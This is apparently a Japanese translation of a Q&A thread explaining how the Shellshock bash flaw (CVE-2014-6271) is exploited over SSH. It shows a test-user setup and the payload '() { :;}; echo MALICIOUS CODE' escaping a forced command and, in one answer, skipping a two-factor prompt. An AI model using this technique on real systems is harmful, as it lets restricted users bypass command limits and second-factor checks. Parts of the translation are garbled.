SSHでShellshockを活用する方法は?

SSHでShellshockを活用する方法は?

明らかにShellshock BashエクスプロイトはCVE-2014-6271SSHを介してネットワーク経由で悪用される可能性があります。この脆弱性はApache / CGIを介してどのように機能するか想像できますが、SSHを介してどのように機能するか想像できません。

SSHがどのように悪用され、これがシステムにどのような害を及ぼすかについての例を提供できますか?

言う

AFAIU、認証されたユーザーだけがSSHを介してこの脆弱性を悪用する可能性があります。この脆弱性は、システムへの正当なアクセス権を持つ人にどのように使用されますか?私の言うことは、このバグには特権の昇格がないので(彼はルートになることはできません)、SSHを介して合法的にログインした場合にのみできることができるということです。

答え1

これを悪用する1つの例は、authorized_keys強制コマンドを持つサーバーです。に項目を追加するときにSSH公開鍵を使用するときは、その項目が強制的に実行されるようにその~/.ssh/authorized_keys行の接頭辞を付けることができます。この脆弱性は、ターゲットユーザーがシェルです。command="foo"foobash

これは例でより意味がある可能性があるため、例は次のとおりです。

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

testuserここでは、SSHキーを使用してSSH接続を強制するユーザーを設定しますecho starting sleep; sleep 1

次の方法でテストできます。

$ ssh testuser@localhost echo something else
starting sleep

コマンドはecho something else実行されませんでしたが、starting sleepshow force コマンドは実行されました。

次に、この脆弱性の使用方法を紹介します。

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

これは、環境変数が渡されたコマンドにsshd設定されているために機能します。SSH_ORIGINAL_COMMANDしたがって、私が話しているコマンドの代わりにsshdrunを使用しても、エクスプロイトのためにコードが実行され続けます。sleep

答え2

Rameshの拡張例 - 2段階認証プロセスを使用している場合は、実装方法に応じてこの脆弱性を使用して2番目の要素を迂回する可能性があります。

— 正常にログイン —

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- 2FAなしでコードを実行 -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

2FAを要求せずにコードを実行することを確認できます。

— Bash パッチの後 —

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

答え3

ShellshockはSSHではなくbashの脆弱性です。これを悪用するには、攻撃者は脆弱なシステムでbashを実行し、bashに渡される環境変数の値を制御する必要があります。

SSHを介してbashプロセスにアクセスするには、攻撃者は認証フェーズを通過する必要があります。 (他のネットワークサービスを介して攻撃ベクトルが存在する可能性がありますが、このスレッドの範囲外です)。この脆弱性は、アカウントが特定のコマンドを実行できないように制限されている場合に機能します(SFTPアカウントのみ、gitアカウントのみなど)。

SSHを使用してアカウントが特定のコマンドを実行できないように制限する方法はいくつかあります。ForceCommandのオプションを使用するsshd_configか。 Shellshockの脆弱性は通常、制限されたアカウントにのみアクセスできるユーザーが制限を回避し、ユーザーのシェルがbashの場合に任意のコマンドを実行できるようにします。command=authorized_keys

関連情報